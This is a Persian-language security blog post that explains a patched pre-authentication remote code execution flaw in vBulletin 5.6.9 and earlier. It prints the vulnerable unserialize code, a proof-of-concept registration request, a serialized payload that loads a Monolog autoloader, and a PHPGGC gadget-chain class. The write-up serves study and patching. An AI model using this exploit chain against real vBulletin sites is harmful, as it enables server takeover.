Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت

آسیب پذیری RCE در vBulletin <= 5.6.9

On بهمن 20, 1401فروردین 28, 1402
seyyid
Share
زمان مطالعه: 6 دقیقه

محققای Ambionics در اواخر آگوست 2022 ، یه آسیب پذیری اجرای کد از راه دور قبل از احراز هویت در vBulletin نسخه های 5.6.9 و پایینتر ، کشف و گزارش کردن.

آسیب پذیری در نسخه های 5.6.9 PL1 و 5.6.8 PL1 و 5.6.7 PL1 اصلاح شده و البته CVE هم براش داده نشد.

 

 

بررسی آسیب پذیری :

Object-Relational Mapper یا به اختصار ORM در ویبولتن به سادگی پیاده سازی میشن. هر شی توسط vB_DataManager اکستند میشه و توسط ویژگی validfields تعریف میشه که فیلدهای اون لیستی از ویژگی ها و فیلدهای شی رو نمایش میده. برای مثال فیلدهای ابتدایی کلاس User بصورت زیر تعریف شده :

 

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class vB_DataManager_User extends vB_DataManager
{
    /**
    * Array of recognised and required fields for users, and their types
    *
    * @var  array
    */
    protected $validfields = array(
        'userid'             => array(
            vB_Cleaner::TYPE_UINT,
            vB_DataManager_Constants::REQ_INCR,
            vB_DataManager_Constants::VF_METHOD,
            'verify_nonzero'
        ),
        'username'           => array(
            vB_Cleaner::TYPE_STR,
            vB_DataManager_Constants::REQ_YES,
            vB_DataManager_Constants::VF_METHOD
        ),
        'email'              => array(
            vB_Cleaner::TYPE_STR,
            vB_DataManager_Constants::REQ_YES,
            vB_DataManager_Constants::VF_METHOD,
            'verify_useremail'
        ),
        ...
    );

 

همونطور که مبینید هر فیلد بصورت یه آرایه تعریف میشه که در ابتدا نوع اون رو مشخص میکنیم ، در ادامه اینکه آیا این فیلد ضروری هست یا نه ( ضروری به لحاظ پر کردن توسط کاربر مثلا) و یه تابع که بررسی میکنه تا مقدار فیلد رو اعتبارسنجی کنه و اگه نیاز باشه اونو اصلاح کنه.

در همون مثال بالا اگه ایمیل رو بررسی کنیم ، این فیلد از نوع رشته ای هستش (vB_Cleaner::TYPE_STR) ، یه فیلد ضروری هستش (vB_DataManager_Constants::REQ_YES) و در نهایت توسط تابع verify_useremail بررسی و تایید میشه.

وقتی یه کاربر میخواد ثبت نام کنه ، ویبولتن یه نمونه از vB_DataManager_User ایجاد میکنه و اگه اعتبارسنجی به مشکل بخوره ، مثلا تابع مقدار false رو برگردونه یا نوع داده ورودی اشتباه باشه ، ویبولتن یه خطا برمیگردونه.

حالا ویبولتن گاهی اوقات به فیلدهایی با داده های پیچیده مثله آرایه نیاز داره. برای اینکار ویبولتن داده ها رو serialize میکنه. برای این منظور وقتی داده این شکلی رو میخواد در دیتابیس ذخیره کنه با تابع serialize اونو serialize میکنه و هنگامی که میخواد از دیتابیس بخونه با تابع unserialize اونو deserialized  میکنه. این کار اگه به درستی انجام بشه خطرات امنیتی نداره.

یکی از این فیلدهای آرایه ای searchprefs در کلاس vB_DataManager_User هستش که بصورت زیر تعریف میشه :

 

PHP
1
2
3
4
5
6
'searchprefs'        => array(
        vB_Cleaner::TYPE_NOCLEAN,    
        vB_DataManager_Constants::REQ_NO,  
        vB_DataManager_Constants::VF_METHOD,
        'verify_serialized'
    ),

 

همونطور که میبنید ، این فیلد توسط تابعی بنام verify_serialized اعتبارسنجی میشه. این تابع این کارو بصورت زیر اعتبارسنجی میکنه:

 

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function verify_serialized(&$data)
{
    if ($data === '')
    {
        $data = serialize(array());
        return true;
    }
    else
    {
        if (!is_array($data))
        {
            $data = unserialize($data); // <---------
            if ($data === false)
            {
                return false;
            }
        }
 
        $data = serialize($data);
    }
 
    return true;
}

 

خب همونطور که مشاهده میکنید ، ویبولتن در ابتدا داده رو deserialize میکنه و بعد خطاهای اونو بررسی میکنه.

با توجه به اینکه فیلد searchprefs هنگام ثبت نام ، توسط کاربر پر میشه ، امکان unserialize  قبل از احراز هویت رو به مهاجم میده. POC برای این مورد میتونه به شکل زیر باشه :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ajax/api/user/save HTTP/1.1
Host: 172.17.0.2
 
securitytoken=guest
&options=
&adminoptions=
&userfield=
&userid=0
&user[email]=pown@pown.net
&user[username]=toto
&password=password
&user[password]=password
&user[searchprefs]=O:12:"PDOStatement":0:{}

 

اکسپلویت :

برای اکسپلویت unserialize عمدتا دو راه وجود داره : یکی اینکه با استفاده از PHPGGC ، برای کتابخونه های شناخته شده پیلود درست کنیم یا اینکه در کدها یه gadget chain جدید پیدا کنیم.

برای ویبولتن این دو مورد بهینه نیستن. روش دوم به دلیل اینکه در ویبولتن هر کلاس از ویژگی (trait) ، vB_Trait_NoSerialize استفاده میکنه ، وقتی __wakeup یا __unserialize و امثال اینا فرخوانی میشه یه استثناء ایجاد میشه. بنابراین کدی که توسط توسعه دهندگان ویبولتن ایجاد شده ، نمیتونه برای اکسپلویت کردن مورد استفاده قرار بگیره.

 

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
trait vB_Trait_NoSerialize
{
    public function __wakeup()
    {
        throw new Exception('Serialization not supported');
    }
 
    public function __unserialize()
    {
        throw new Exception('Serialization not supported');
    }
 
    ...
}

 

در مورد روش اول هم ، PHPGGC از کتابخونه Monolog پشتیبانی میکنه ، اما امکان اکسپلویت با پیلود monolog/rce رو نداریم. دلیلشم اینه که اگرچه این کتابخونه در مسیر packages/googlelogin/vendor/monolog هستش، اما غیرقابل دسترس هستش. بسته googlelogin بطور پیش فرض در ویبولتن غیرفعاله و هیچکدوم از فایلهای اونم توسط ویبولتن لوود نمیشن.

برای اینکه بتونیم از unserialize سوء استفاده کنیم ، میتونیم از فراخوانی autoloaderها استفاده کنیم. در پروژه های PHP اگه شما بخوایید از یه کتابخونه شخص ثالث استفاده کنید باید اونو include یا require کنیدش. برای پروژه های کوچیک این روش جوابگو هستش اما برای پروژه های بزرگ نه. دلیلشم اینه که اولا برای هر فایل کدی که مینویسید باید این موارد اضافه کنید ، برخی اوقات ممکنه به کلاسی نیاز داشته باشید و برای پیدا کردنش به مشکل بخورید. یه مشکل دیگه هم اینکه ممکنه یه کتابخونه بسته به نیاز ،چندین بار لوود بشه که مموری رو الکی میخوره. برای حل این روش از Autoloading استفاده میکنن.

در این روش وقتی به کلاسی نیاز داریم، قبل از لوود بررسی میشه که آیا کتابخونه اون کلاس قبلا لوود شده یا نه ، اگه لوود نشده بود اونو لوود میکنه. که باعث بهینه سازی هم در کدنویسی میشه و هم در مصرف منابع. برای این منظور هم ،کلاسها رو در یه فایلی بنام autoloader مینویسن. یه ابزاری بنام Composer هم برا این منظور استفاده میشه.

مانند هر پروژه دیگه PHP ، ویبولتن هم یسری autoloader رو تعریف میکنه. کد ساده شده اون بصورت زیر هستش :

 

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
spl_autoload_register(array('vB', 'autoload'));
 
class vB
{
    public static function autoload($classname, $load_map = false, $check_file = true)
    {
        $fclassname = strtolower($classname);
        $segments = explode('_', $fclassname);
 
        switch($segments[0]) // [1]
        {
            case 'vb':
                $vbPath = true;
                $filename = VB_PATH; // ./vb/
                break;
            case 'vb5':
                $vbPath = true;
                $filename = VB5_PATH; // ./vb5/
                break;
            default:
                $vbPath = false;
                $filename = VB_PKG_PATH; // ./packages/
                break;
        }
 
        if (sizeof($segments) > ($vbPath ? 2 : 1))
        {
            $filename .= implode('/', array_slice($segments, ($vbPath ? 1 : 0), -1)) . '/'; // [2]
        }
 
        $filename .= array_pop($segments) . '.php'; // [3]
 
        if(file_exists($filename))
            require($filename); // [4]
    }
}

 

autoloader نام کلاس رو میگیره و اسم اونو به حروف کوچک تبدیل میکنه ، بعدش با جدا کننده _ اسم کلاس رو از هم جدا میکنه. بخش اول این جدا کننده (عدد یک در کد بالا) مشخص کننده base directory هستش، قسمت دوم نام دایرکتوری ، قسمت سوم نام فایل رو نشون میده و قسمت چهارم مسیر فایل.

برای مثال اولین باری که ویبولتن کلاس vB_DataManager_User رو ایجاد میکنه ، این کلاس برای PHP ناشناخته هستش. ویبولتن vB::autoload رو فراخوانی میکنه و این تابع برای این کلاس فایلی که شامل این کلاس هست یعنی vb/datamanager/user.php ایجاد و لوود میکنه. د ر نتیجه کلاس تعریف شده و برای PHP شناخته شده هستش .

autoloader در ویبولتن یه ویژگی جالب داره و اونم اینکه با توجه به اسم کلاس ، میتونه هر فایل PHP در پروژه رو بگیره. یعنی با دادن A_B_C میره و فایل a/b/c.php رو لوود میکنه. اگه این فایل نباشه ، موجب کرش میشه.

یه ویژگی هم در لوود کلاسها در unserialize وجود داره و اونم اینکه اگه شی رو deserialize کنیم که اسم کلاسش وجود نداره ، استثناء ایجاد نمیکنه و کرش هم نمیشه و یه نمونه از __PHP_Incomplete_Class رو برمیگردونه . این شی به دلیل اینکه دسترسی به متدها و ویژگیهاش نداریم به درد مهاجم نمیخوره ، اما نکته مهم اینه که فرایند deserialize  کرش نمیکنه و ادامه پیدا میکنه.

خب میرسیم به بخش اصلی اکسپلویت ، ما میتونیم packages/googlelogin/vendor/autoload.php که حاوی autoloader برای کلاسهای Monolog هستش رو با یه کلاس جعلی لوود کنیم:

 

1
O:27:"googlelogin_vendor_autoload":0:{}

 

مراحل زیر برای این پیلود اجرا میشه :

  • تابع unserialize سعی میکنه کلاس googlelogin_vendor_autoload رو لوود کنه.
  • چنین نامی وجود نداره و بنابراین autoloader فراخونی میشه.
  • تابع vB::autoload فایل packages/googlelogin/vendor/autoload.php رو میسازه و لودش میکنه.
  • اگر چه فایل وجود داره اما چنین کلاسی وجود نداره.
  • تابع unserialize مقدار __PHP_Incomplete_Class رو برمیگردونه و اجرا ادامه داره

کاری که کردیم این بود که باعث شدیم autoloader ویبولتن یه autoloader  دیگه رو لوود کنه. خب حالا کلاسهای Monolog  لوود شدن و میتونیم با PHPGGC اکسپلویتش کنیم. برای این منظور پیلود ما شامل اسم تابع جعلی و پیلود تولید شده توسط PHPGGC هستش :

 

1
a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";...}}

 

برای اکسپلویت یه پیلود برای PHPGGC هم ایجاد کردن :

 

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
 
namespace GadgetChain\vBulletin;
 
require_once(__DIR__ . "/../../../Monolog/RCE/1/chain.php");
 
# See https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
class RCE1 extends \GadgetChain\Monolog\RCE1
{
    public static $version = '-5.6.9+';
    public static $vector = '__destruct';
    public static $author = 'cfreal';
 
    public function generate(array $parameters)
    {
        return [
            new \googlelogin_vendor_autoload(),
            parent::generate($parameters)
        ];
    }
}

 

PHPGGC

 

و در نهایت اونو بصورت یه درخواست میفرستیم :

 

exploit vBulletin

 

 

منبع

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویتIn PHPGGC , searchprefs , serialize , vBulletin , ویبولتن

راهبری نوشته

شبکه های Tor و I2P زیر حملات DDOS
پلتفرم Reddit هک شد

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

بایگانی‌ها

  • می 2025
  • آوریل 2025
  • مارس 2025
  • فوریه 2025
  • ژانویه 2025
  • دسامبر 2024
  • نوامبر 2024
  • اکتبر 2024
  • سپتامبر 2024
  • آگوست 2024
  • جولای 2024
  • ژوئن 2024
  • می 2024
  • آوریل 2024
  • مارس 2024
  • فوریه 2024
  • ژانویه 2024
  • دسامبر 2023
  • نوامبر 2023
  • اکتبر 2023
  • سپتامبر 2023
  • آگوست 2023
  • جولای 2023
  • ژوئن 2023
  • می 2023
  • آوریل 2023
  • مارس 2023
  • فوریه 2023
  • ژانویه 2023
  • دسامبر 2022

پست های مرتبط

  • آسیب پذیری امنیتی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • بازیگران تهدید
  • تیم قرمز
  • مقالات
seyyid
On دی 22, 1403

بکدورهایی در دل بکدورها!

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On تیر 23, 1402تیر 23, 1402

آسیب پذیری بحرانی در Cisco SD-WAN vManage

  • آسیب پذیری امنیتی
  • اخبار
  • باگ بانتی
seyyid
On آبان 4, 1403

برنامه ی باگ بانتی اپل برای Private Cloud Compute

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On فروردین 26, 1402فروردین 28, 1402

آسیب پذیری با شدت بالا در کروم

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404